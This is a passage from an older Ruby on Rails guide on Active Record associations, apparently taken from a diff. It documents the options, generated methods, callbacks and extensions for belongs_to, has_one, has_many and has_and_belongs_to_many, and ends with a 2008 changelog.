Although the :counter_cache option is specified on the model that includes the belongs_to declaration, the actual column must be added to the associated model. In the case above, you would need to add a column named orders_count to the Customer model. You can override the default column name if you need to:

+
+
+
class Order < ActiveRecord::Base
+  belongs_to :customer, :counter_cache => :count_of_orders
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+

Counter cache columns are added to the containing model's list of read-only attributes through attr_readonly.

+
:dependent
+

If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated object to delete that object. If you set the :dependent option to :delete, then deleting this object will delete the associated object without calling its destroy method.

+
+ + + +
+Warning +You should not specify this option on a belongs_to association that is connected with a has_many association on the other class. Doing so can lead to orphaned records in your database.
+
+
:foreign_key
+

By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

+
+
+
class Order < ActiveRecord::Base
+  belongs_to :customer, :class_name => "Patron", :foreign_key => "patron_id"
+end
+
+
+ + + +
+Tip +In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+
:include
+

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

+
+
+
class LineItem < ActiveRecord::Base
+  belongs_to :order
+end
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+

If you frequently retrieve customers directly from line items (@line_item.order.customer), then you can make your code somewhat more efficient by including customers in the association from line items to orders:

+
+
+
class LineItem < ActiveRecord::Base
+  belongs_to :order, :include => :customer
+end
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+
+ + + +
+Note +There's no need to use :include for immediate associations - that is, if you have Order belongs_to :customer, then the customer is eager-loaded automatically when it's needed.
+
+
:polymorphic
+

Passing true to the :polymorphic option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.

+
:readonly
+

If you set the :readonly option to true, then the associated object will be read-only when retrieved via the association.

+
:select
+

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.

+
+ + + +
+Tip +If you set the :select option on a belongs_to association, you should also set the foreign_key option to guarantee the correct results.
+
+
:validate
+

If you set the :validate option to true, then associated objects will be validated whenever you save this object. By default, this is false: associated objects will not be validated when this object is saved.

+

4.1.3. When are Objects Saved?

+

Assigning an object to a belongs_to association does not automatically save the object. It does not save the associated object either.

+

4.2. The has_one Association

+

The has_one association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use belongs_to instead.

+

4.2.1. Methods Added by has_one

+

When you declare a has_one association, the declaring class automatically gains five methods related to the association:

+
    +
  • +

    +association(force_reload = false) +

    +
  • +
  • +

    +association=(associate) +

    +
  • +
  • +

    +association.nil? +

    +
  • +
  • +

    +build_association(attributes = {}) +

    +
  • +
  • +

    +create_association(attributes = {}) +

    +
  • +
+

In all of these methods, association is replaced with the symbol passed as the first argument to has_one. For example, given the declaration:

+
+
+
class Supplier < ActiveRecord::Base
+  has_one :account
+end
+
+

Each instance of the Supplier model will have these methods:

+
+
+
account
+account=
+account.nil?
+build_account
+create_account
+
+
association(force_reload = false)
+

The association method returns the associated object, if any. If no associated object is found, it returns nil.

+
+
+
@account = @supplier.account
+
+

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass true as the force_reload argument.

+
association=(associate)
+

The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.

+
+
+
@suppler.account = @account
+
+
association.nil?
+

The association.nil? method returns true if there is no associated object.

+
+
+
if @supplier.account.nil?
+  @msg = "No account found for this supplier"
+end
+
+
build_association(attributes = {})
+

The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.

+
+
+
@account = @supplier.build_account({:terms => "Net 30"})
+
+
create_association(attributes = {})
+

The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).

+
+
+
@account = @supplier.create_account({:terms => "Net 30"})
+
+

4.2.2. Options for has_one

+

In many situations, you can use the default behavior of has_one without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a has_one association. For example, an association with several options might look like this:

+
+
+
class Supplier < ActiveRecord::Base
+  has_one :account, :class_name => "Billing", :dependent => :nullify
+end
+
+

The has_one association supports these options:

+
    +
  • +

    +:as +

    +
  • +
  • +

    +:class_name +

    +
  • +
  • +

    +:conditions +

    +
  • +
  • +

    +:dependent +

    +
  • +
  • +

    +:foreign_key +

    +
  • +
  • +

    +:include +

    +
  • +
  • +

    +:order +

    +
  • +
  • +

    +:primary_key +

    +
  • +
  • +

    +:readonly +

    +
  • +
  • +

    +:select +

    +
  • +
  • +

    +:source +

    +
  • +
  • +

    +:source_type +

    +
  • +
  • +

    +:through +

    +
  • +
  • +

    +:validate +

    +
  • +
+
:as
+

Setting the :as option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.

+
:class_name
+

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you'd set things up this way:

+
+
+
class Supplier < ActiveRecord::Base
+  has_one :account, :class_name => "Billing"
+end
+
+
:conditions
+

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

+
+
+
class Supplier < ActiveRecord::Base
+  has_one :account, :conditions => "confirmed = 1"
+end
+
+
:dependent
+

If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated object to delete that object. If you set the :dependent option to :delete, then deleting this object will delete the associated object without calling its destroy method. If you set the :dependent option to :nullify, then deleting this object will set the foreign key in the association object to NULL.

+
:foreign_key
+

By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

+
+
+
class Supplier < ActiveRecord::Base
+  has_one :account, :foreign_key => "supp_id"
+end
+
+
+ + + +
+Tip +In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+
:include
+

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

+
+
+
class Supplier < ActiveRecord::Base
+  has_one :account
+end
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+  belongs_to :representative
+end
+class Representative < ActiveRecord::Base
+  has_many :accounts
+end
+
+

If you frequently retrieve representatives directly from suppliers (@supplier.account.representative), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:

+
+
+
class Supplier < ActiveRecord::Base
+  has_one :account, :include => :representative
+end
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+  belongs_to :representative
+end
+class Representative < ActiveRecord::Base
+  has_many :accounts
+end
+
+
:order
+

The :order option dictates the order in which associated objects will be received (in the syntax used by a SQL ORDER BY clause). Because a has_one association will only retrieve a single associated object, this option should not be needed.

+
:primary_key
+

By convention, Rails guesses that the column used to hold the primary key of this model is id. You can override this and explicitly specify the primary key with the :primary_key option.

+
:readonly
+

If you set the :readonly option to true, then the associated object will be read-only when retrieved via the association.

+
:select
+

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.

+
:source
+

The :source option specifies the source association name for a has_one :through association.

+
:source_type
+

The :source_type option specifies the source association type for a has_one :through association that proceeds through a polymorphic association.

+
:through
+

The :through option specifies a join model through which to perform the query. has_one :through associations are discussed in detail later in this guide.

+
:validate
+

If you set the :validate option to true, then associated objects will be validated whenever you save this object. By default, this is false: associated objects will not be validated when this object is saved.

+

4.2.3. When are Objects Saved?

+

When you assign an object to a has_one association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.

+

If either of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

+

If the parent object (the one declaring the has_one association) is unsaved (that is, new_record? returns true) then the child objects are not saved.

+

If you want to assign an object to a has_one association without saving the object, use the association.build method.

+

4.3. The has_many Association

+

The has_many association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.

+

4.3.1. Methods Added

+

When you declare a has_many association, the declaring class automatically gains 13 methods related to the association:

+
    +
  • +

    +collection(force_reload = false) +

    +
  • +
  • +

    +collection<<(object, …) +

    +
  • +
  • +

    +collection.delete(object, …) +

    +
  • +
  • +

    +collection=objects +

    +
  • +
  • +

    +collection_singular_ids +

    +
  • +
  • +

    +collection_singular_ids=ids +

    +
  • +
  • +

    +collection.clear +

    +
  • +
  • +

    +collection.empty? +

    +
  • +
  • +

    +collection.size +

    +
  • +
  • +

    +collection.find(…) +

    +
  • +
  • +

    +collection.exist?(…) +

    +
  • +
  • +

    +collection.build(attributes = {}, …) +

    +
  • +
  • +

    +collection.create(attributes = {}) +

    +
  • +
+

In all of these methods, collection is replaced with the symbol passed as the first argument to has_many, and collection_singular is replaced with the singularized version of that symbol.. For example, given the declaration:

+
+
+
class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+

Each instance of the customer model will have these methods:

+
+
+
orders(force_reload = false)
+orders<<(object, ...)
+orders.delete(object, ...)
+orders=objects
+order_ids
+order_ids=ids
+orders.clear
+orders.empty?
+orders.size
+orders.find(...)
+orders.exist?(...)
+orders.build(attributes = {}, ...)
+orders.create(attributes = {})
+
+
collection(force_reload = false)
+

The collection method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.

+
+
+
@orders = @customer.orders
+
+
collection<<(object, …)
+

The collection<< method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.

+
+
+
@customer.orders << @order1
+
+
collection.delete(object, …)
+

The collection.delete method removes one or more objects from the collection by setting their foreign keys to NULL.

+
+
+
@customer.orders.delete(@order1)
+
+
+ + + +
+Warning +Objects will be in addition destroyed if they're associated with :dependent ⇒ :destroy, and deleted if they're associated with :dependent ⇒ :delete_all.
+
+
collection=objects
+

The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.

+
collection_singular_ids
+

The collection_singular_ids method returns an array of the ids of the objects in the collection.

+
+
+
@order_ids = @customer.order_ids
+
+
_collection_singular_ids=ids
+

The _collection_singular_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.

+
collection.clear
+

The collection.clear method removes every object from the collection. This destroys the associated objects if they are associated with :dependent ⇒ :destroy, deletes them directly from the database if :dependent ⇒ :delete_all, and otherwise sets their foreign keys to NULL.

+
collection.empty?
+

The collection.empty? method returns true if the collection does not contain any associated objects.

+
+
+
<% if @customer.orders.empty? %>
+  No Orders Found
+<% end %>
+
+
collection.size
+

The collection.size method returns the number of objects in the collection.

+
+
+
@order_count = @customer.orders.size
+
+
collection.find(…)
+

The collection.find method finds objects within the collection. It uses the same syntax and options as ActiveRecord::Base.find.

+
+
+
@open_orders = @customer.orders.find(:all, :conditions => "open = 1")
+
+
collection.exist?(…)
+

The collection.exist? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as ActiveRecord::Base.exists?.

+
collection.build(attributes = {}, …)
+

The collection.build method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will not yet be saved.

+
+
+
@order = @customer.orders.build({:order_date => Time.now, :order_number => "A12345"})
+
+
collection.create(attributes = {})
+

The collection.create method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object will be saved (assuming that it passes any validations).

+
+
+
@order = @customer.orders.create({:order_date => Time.now, :order_number => "A12345"})
+
+

4.3.2. Options for has_many

+

In many situations, you can use the default behavior for has_many without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a has_many association. For example, an association with several options might look like this:

+
+
+
class Customer < ActiveRecord::Base
+  has_many :orders, :dependent => :delete_all, :validate => :false
+end
+
+

The has_many association supports these options:

+
    +
  • +

    +:as +

    +
  • +
  • +

    +:class_name +

    +
  • +
  • +

    +:conditions +

    +
  • +
  • +

    +:counter_sql +

    +
  • +
  • +

    +:dependent +

    +
  • +
  • +

    +:extend +

    +
  • +
  • +

    +:finder_sql +

    +
  • +
  • +

    +:foreign_key +

    +
  • +
  • +

    +:group +

    +
  • +
  • +

    +:include +

    +
  • +
  • +

    +:limit +

    +
  • +
  • +

    +:offset +

    +
  • +
  • +

    +:order +

    +
  • +
  • +

    +:primary_key +

    +
  • +
  • +

    +:readonly +

    +
  • +
  • +

    +:select +

    +
  • +
  • +

    +:source +

    +
  • +
  • +

    +:source_type +

    +
  • +
  • +

    +:through +

    +
  • +
  • +

    +:uniq +

    +
  • +
  • +

    +:validate +

    +
  • +
+
:as
+

Setting the :as option indicates that this is a polymorphic association, as discussed earlier in this guide.

+
:class_name
+

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is Transaction, you'd set things up this way:

+
+
+
class Customer < ActiveRecord::Base
+  has_many :orders, :class_name => "Transaction"
+end
+
+
:conditions
+

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

+
+
+
class Customer < ActiveRecord::Base
+  has_many :confirmed_orders, :class_name => "Order", :conditions => "confirmed = 1"
+end
+
+

You can also set conditions via a hash:

+
+
+
class Customer < ActiveRecord::Base
+  has_many :confirmed_orders, :class_name => "Order", :conditions => { :confirmed => true }
+end
+
+

If you use a hash-style :conditions option, then record creation via this association will be automatically scoped using the hash. In this case, using @customer.confirmed_orders.create or @customer.confirmed_orders.build will create orders where the confirmed column has the value true.

+
:counter_sql
+

Normally Rails automatically generates the proper SQL to count the association members. With the :counter_sql option, you can specify a complete SQL statement to count them yourself.

+
+ + + +
+Note +If you specify :finder_sql but not :counter_sql, then the counter SQL will be generated by substituting SELECT COUNT(*) FROM for the SELECT … FROM clause of your :finder_sql statement.
+
+
:dependent
+

If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the :dependent option to :delete_all, then deleting this object will delete the associated objects without calling their destroy method. If you set the :dependent option to :nullify, then deleting this object will set the foreign key in the associated objects to NULL.

+
+ + + +
+Note +This option is ignored when you use the :through option on the association.
+
+
:extend
+

The :extend option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.

+
:finder_sql
+

Normally Rails automatically generates the proper SQL to fetch the association members. With the :finder_sql option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.

+
:foreign_key
+

By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

+
+
+
class Customer < ActiveRecord::Base
+  has_many :orders, :foreign_key => "cust_id"
+end
+
+
+ + + +
+Tip +In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+
:group
+

The :group option supplies an attribute name to group the result set by, using a GROUP BY clause in the finder SQL.

+
+
+
class Customer < ActiveRecord::Base
+  has_many :line_items, :through => :orders, :group => "orders.id"
+end
+
+
:include
+

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

+
+
+
class Customer < ActiveRecord::Base
+  has_many :orders
+end
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+end
+
+

If you frequently retrieve line items directly from customers (@customer.orders.line_items), then you can make your code somewhat more efficient by including line items in the association from customers to orders:

+
+
+
class Customer < ActiveRecord::Base
+  has_many :orders, :include => :line_items
+end
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+end
+
+
:limit
+

The :limit option lets you restrict the total number of objects that will be fetched through an association.

+
+
+
class Customer < ActiveRecord::Base
+  has_many :recent_orders, :class_name => "Order", :order => "order_date DESC", :limit => 100
+end
+
+
:offset
+

The :offset option lets you specify the starting offset for fetching objects via an association. For example, if you set :offset ⇒ 11, it will skip the first 10 records.

+
:order
+

The :order option dictates the order in which associated objects will be received (in the syntax used by a SQL ORDER BY clause).

+
+
+
class Customer < ActiveRecord::Base
+  has_many :orders, :order => "date_confirmed DESC"
+end
+
+
:primary_key
+

By convention, Rails guesses that the column used to hold the primary key of this model is id. You can override this and explicitly specify the primary key with the :primary_key option.

+
:readonly
+

If you set the :readonly option to true, then the associated objects will be read-only when retrieved via the association.

+
:select
+

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.

+
+ + + +
+Warning +If you specify your own :select, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
+
+
:source
+

The :source option specifies the source association name for a has_many :through association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.

+
:source_type
+

The :source_type option specifies the source association type for a has_many :through association that proceeds through a polymorphic association.

+
:through
+

The :through option specifies a join model through which to perform the query. has_many :through associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.

+
:uniq
+

Specify the :uniq ⇒ true option to remove duplicates from the collection. This is most useful in conjunction with the :through option.

+
:validate
+

If you set the :validate option to false, then associated objects will not be validated whenever you save this object. By default, this is true: associated objects will be validated when this object is saved.

+

4.3.3. When are Objects Saved?

+

When you assign an object to a has_many association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.

+

If any of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

+

If the parent object (the one declaring the has_many association) is unsaved (that is, new_record? returns true) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

+

If you want to assign an object to a has_many association without saving the object, use the collection.build method.

+

4.4. The has_and_belongs_to_many Association

+

The has_and_belongs_to_many association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.

+

4.4.1. Methods Added

+

When you declare a has_and_belongs_to_many association, the declaring class automatically gains 13 methods related to the association:

+
    +
  • +

    +collection(force_reload = false) +

    +
  • +
  • +

    +collection<<(object, …) +

    +
  • +
  • +

    +collection.delete(object, …) +

    +
  • +
  • +

    +collection=objects +

    +
  • +
  • +

    +collection_singular_ids +

    +
  • +
  • +

    +collection_singular_ids=ids +

    +
  • +
  • +

    +collection.clear +

    +
  • +
  • +

    +collection.empty? +

    +
  • +
  • +

    +collection.size +

    +
  • +
  • +

    +collection.find(…) +

    +
  • +
  • +

    +collection.exist?(…) +

    +
  • +
  • +

    +collection.build(attributes = {}) +

    +
  • +
  • +

    +collection.create(attributes = {}) +

    +
  • +
+

In all of these methods, collection is replaced with the symbol passed as the first argument to has_many, and collection_singular is replaced with the singularized version of that symbol.. For example, given the declaration:

+
+
+
class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+
+

Each instance of the part model will have these methods:

+
+
+
assemblies(force_reload = false)
+assemblies<<(object, ...)
+assemblies.delete(object, ...)
+assemblies=objects
+assembly_ids
+assembly_ids=ids
+assemblies.clear
+assemblies.empty?
+assemblies.size
+assemblies.find(...)
+assemblies.exist?(...)
+assemblies.build(attributes = {}, ...)
+assemblies.create(attributes = {})
+
+
Additional Column Methods
+

If the join table for a has_and_belongs_to_many association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.

+
+ + + +
+Warning +The use of extra attributes on the join table in a has_and_belongs_to_many association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a has_many :through association instead of has_and_belongs_to_many.
+
+
collection(force_reload = false)
+

The collection method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.

+
+
+
@assemblies = @part.assemblies
+
+
collection<<(object, …)
+

The collection<< method adds one or more objects to the collection by creating records in the join table.

+
+
+
@part.assemblies << @assembly1
+
+
+ + + +
+Note +This method is aliased as collection.concat and collection.push.
+
+
collection.delete(object, …)
+

The collection.delete method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.

+
+
+
@part.assemblies.delete(@assembly1)
+
+
collection=objects
+

The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.

+
collection_singular_ids
+

# Returns an array of the associated objects' ids

+

The collection_singular_ids method returns an array of the ids of the objects in the collection.

+
+
+
@assembly_ids = @part.assembly_ids
+
+
collection_singular_ids=ids
+

The collection_singular_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.

+
collection.clear
+

The collection.clear method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.

+
collection.empty?
+

The collection.empty? method returns true if the collection does not contain any associated objects.

+
+
+
<% if @part.assemblies.empty? %>
+  This part is not used in any assemblies
+<% end %>
+
+
collection.size
+

The collection.size method returns the number of objects in the collection.

+
+
+
@assembly_count = @part.assemblies.size
+
+
collection.find(…)
+

The collection.find method finds objects within the collection. It uses the same syntax and options as ActiveRecord::Base.find. It also adds the additional condition that the object must be in the collection.

+
+
+
@new_assemblies = @part.assemblies.find(:all, :conditions => ["created_at > ?", 2.days.ago])
+
+
collection.exist?(…)
+

The collection.exist? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as ActiveRecord::Base.exists?.

+
collection.build(attributes = {})
+

The collection.build method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will not yet be saved.

+
+
+
@assembly = @part.assemblies.build({:assembly_name => "Transmission housing"})
+
+
collection.create(attributes = {})
+

The collection.create method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object will be saved (assuming that it passes any validations).

+
+
+
@assembly = @part.assemblies.create({:assembly_name => "Transmission housing"})
+
+

4.4.2. Options for has_and_belongs_to_many

+

In many situations, you can use the default behavior for has_and_belongs_to_many without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a has_and_belongs_to_many association. For example, an association with several options might look like this:

+
+
+
class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :uniq => true, :read_only => true
+end
+
+

The has_and_belongs_to_many association supports these options:

+
    +
  • +

    +:association_foreign_key +

    +
  • +
  • +

    +:class_name +

    +
  • +
  • +

    +:conditions +

    +
  • +
  • +

    +:counter_sql +

    +
  • +
  • +

    +:delete_sql +

    +
  • +
  • +

    +:extend +

    +
  • +
  • +

    +:finder_sql +

    +
  • +
  • +

    +:foreign_key +

    +
  • +
  • +

    +:group +

    +
  • +
  • +

    +:include +

    +
  • +
  • +

    +:insert_sql +

    +
  • +
  • +

    +:join_table +

    +
  • +
  • +

    +:limit +

    +
  • +
  • +

    +:offset +

    +
  • +
  • +

    +:order +

    +
  • +
  • +

    +:readonly +

    +
  • +
  • +

    +:select +

    +
  • +
  • +

    +:uniq +

    +
  • +
  • +

    +:validate +

    +
  • +
+
:association_foreign_key
+

By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix _id added. The :association_foreign_key option lets you set the name of the foreign key directly:

+
+ + + +
+Tip +The :foreign_key and :association_foreign_key options are useful when setting up a many-to-many self-join. For example:
+
+
+
+
class User < ActiveRecord::Base
+  has_and_belongs_to_many :friends, :class_name => "User",
+    :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
+end
+
+
:class_name
+

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is Gadget, you'd set things up this way:

+
+
+
class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :class_name => "Gadget"
+end
+
+
:conditions
+

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

+
+
+
class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :conditions => "factory = 'Seattle'"
+end
+
+

You can also set conditions via a hash:

+
+
+
class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :conditions => { :factory => 'Seattle' }
+end
+
+

If you use a hash-style :conditions option, then record creation via this association will be automatically scoped using the hash. In this case, using @parts.assemblies.create or @parts.assemblies.build will create orders where the factory column has the value "Seattle".

+
:counter_sql
+

Normally Rails automatically generates the proper SQL to count the association members. With the :counter_sql option, you can specify a complete SQL statement to count them yourself.

+
+ + + +
+Note +If you specify :finder_sql but not :counter_sql, then the counter SQL will be generated by substituting SELECT COUNT(*) FROM for the SELECT … FROM clause of your :finder_sql statement.
+
+
:delete_sql
+

Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the :delete_sql option, you can specify a complete SQL statement to delete them yourself.

+
:extend
+

The :extend option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.

+
:finder_sql
+

Normally Rails automatically generates the proper SQL to fetch the association members. With the :finder_sql option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.

+
:foreign_key
+

By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

+
+
+
class User < ActiveRecord::Base
+  has_and_belongs_to_many :friends, :class_name => "User",
+    :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
+end
+
+
:group
+

The :group option supplies an attribute name to group the result set by, using a GROUP BY clause in the finder SQL.

+
+
+
class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :group => "factory"
+end
+
+
:include
+

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used.

+
:insert_sql
+

Normally Rails automatically generates the proper SQL to create links between the associated classes. With the :insert_sql option, you can specify a complete SQL statement to insert them yourself.

+
:join_table
+

If the default name of the join table, based on lexical ordering, is not what you want, you can use the :join_table option to override the default.

+
:limit
+

The :limit option lets you restrict the total number of objects that will be fetched through an association.

+
+
+
class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :order => "created_at DESC", :limit => 50
+end
+
+
:offset
+

The :offset option lets you specify the starting offset for fetching objects via an association. For example, if you set :offset ⇒ 11, it will skip the first 10 records.

+
:order
+

The :order option dictates the order in which associated objects will be received (in the syntax used by a SQL ORDER BY clause).

+
+
+
class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :order => "assembly_name ASC"
+end
+
+
:readonly
+

If you set the :readonly option to true, then the associated objects will be read-only when retrieved via the association.

+
:select
+

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.

+
:uniq
+

Specify the :uniq ⇒ true option to remove duplicates from the collection.

+
:validate
+

If you set the :validate option to false, then associated objects will not be validated whenever you save this object. By default, this is true: associated objects will be validated when this object is saved.

+

4.4.3. When are Objects Saved?

+

When you assign an object to a has_and_belongs_to_many association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.

+

If any of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

+

If the parent object (the one declaring the has_and_belongs_to_many association) is unsaved (that is, new_record? returns true) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

+

If you want to assign an object to a has_and_belongs_to_many association without saving the object, use the collection.build method.

+

4.5. Association Callbacks

+

Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a :before_save callback to cause something to happen just before an object is saved.

+

Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks:

+
    +
  • +

    +before_add +

    +
  • +
  • +

    +after_add +

    +
  • +
  • +

    +before_remove +

    +
  • +
  • +

    +after_remove +

    +
  • +
+

You define association callbacks by adding options to the association declaration. For example:

+
+
+
class Customer < ActiveRecord::Base
+  has_many :orders, :before_add => :check_credit_limit
+
+  def check_credit_limit(order)
+    ...
+  end
+end
+
+

Rails passes the object being added or removed to the callback.

+

You can stack callbacks on a single event by passing them as an array:

+
+
+
class Customer < ActiveRecord::Base
+  has_many :orders, :before_add => [:check_credit_limit, :calculate_shipping_charges]
+
+  def check_credit_limit(order)
+    ...
+  end
+
+  def calculate_shipping_charges(order)
+    ...
+  end
+end
+
+

If a before_add callback throws an exception, the object does not get added to the collection. Similarly, if a before_remove callback throws an exception, the object does not get removed from the collection.

+

4.6. Association Extensions

+

You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:

+
+
+
class Customer < ActiveRecord::Base
+  has_many :orders do
+    def find_by_order_prefix(order_number)
+      find_by_region_id(order_number[0..2])
+    end
+  end
+end
+
+

If you have an extension that should be shared by many associations, you can use a named extension module. For example:

+
+
+
module FindRecentExtension
+  def find_recent
+    find(:all, :conditions => ["created_at > ?", 5.days.ago])
+  end
+end
+
+class Customer < ActiveRecord::Base
+  has_many :orders, :extend => FindRecentExtension
+end
+
+class Supplier < ActiveRecord::Base
+  has_many :deliveries, :extend => FindRecentExtension
+end
+
+

To include more than one extension module in a single association, specify an array of names:

+
+
+
class Customer < ActiveRecord::Base
+  has_many :orders, :extend => [FindRecentExtension, FindActiveExtension]
+end
+
+

Extensions can refer to the internals of the association proxy using these three accessors:

+
    +
  • +

    +proxy_owner returns the object that the association is a part of. +

    +
  • +
  • +

    +proxy_reflection returns the reflection object that describes the association. +

    +
  • +
  • +

    +proxy_target returns the associated object for belongs_to or has_one, or the collection of associated objects for has_many or has_and_belongs_to_many. +

    +
  • +
+
+

5. Changelog

+
+ +
    +
  • +

    +September 28, 2008: Corrected has_many :through diagram, added polymorphic diagram, some reorganization by Mike Gunderloy . First release version. +

    +
  • +
  • +

    +September 22, 2008: Added diagrams, misc. cleanup by Mike Gunderloy (not yet approved for publication) +

    +
  • +
  • +

    +September 14, 2008: initial version by Mike Gunderloy (not yet approved for publication) +

    +
  • +
+
+ +
+
